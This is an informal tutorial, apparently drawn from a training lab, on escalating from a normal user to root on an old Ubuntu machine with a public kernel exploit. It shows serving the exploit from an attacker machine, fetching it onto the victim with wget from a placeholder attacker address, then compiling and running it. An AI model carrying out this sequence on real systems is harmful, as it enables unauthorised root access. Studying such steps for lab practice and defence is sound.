Meaning of Linux Privilege enumeration is that we had already exploit the machine and now we have gained the access of the normal user and now we want the access of the ROOT or and other person who is have more privileges than previous one. For this we have many verious tecniques to perform this Privilege enumeration (meaning of enumeration → we geather information and try to find loop holes to enter as a root user. )
— — — — without time waste we will come to point — — — —
lets assume we are in the victim machine but he is not a root user and now we have to get the root user shell. Below is the example how will we become root user from a normal user.
we are Karen and we gain the access of karen .
karen@wade7363:/home$ id uid=1001(karen) gid=1001(karen) groups=1001(karen)
→ id command is used to check your identity
karen@wade7363:/home$ uname -a Linux wade7363 3.13.0–24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
→ uname -a command is used for getting the info. about victim kernal.
So, we can see that there is a linux version that victim is using (3.13.0). so we will google the exploit for this version and download in your system.
Now, we have to export this file to victim machine for that we have to start the server so that we can host the file on server so that any one can download from there.
We have to go to the attacker machine from that we can export the file to victim machine.
(kali㉿kali)-[~] python3 -m http.server 80
( We have to run this command from the location where the exploit file is downloaded. )
By the above command server will be hosted.
Now come to victim machine and type the command to download the file that is hosted on server .
karen@wade7363:/home$ wget http://ip of attacker/filename
→ wget command used to download the file
Now we are good to go because file is import to victim machine.
There is one thing we have to keep in mind that Max. exploits are written in C language so we have to compile it . So in Linux there is complier that is gcc.
karen@wade7363:/home$ gcc <file name that we import> -o <new name of file>
Now we are ready to exploit . Run the file with new name as shown below
karen@wade7363:/home$ ./<new file name >
As you enter the command you are in ROOT shell . KuDoS!
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —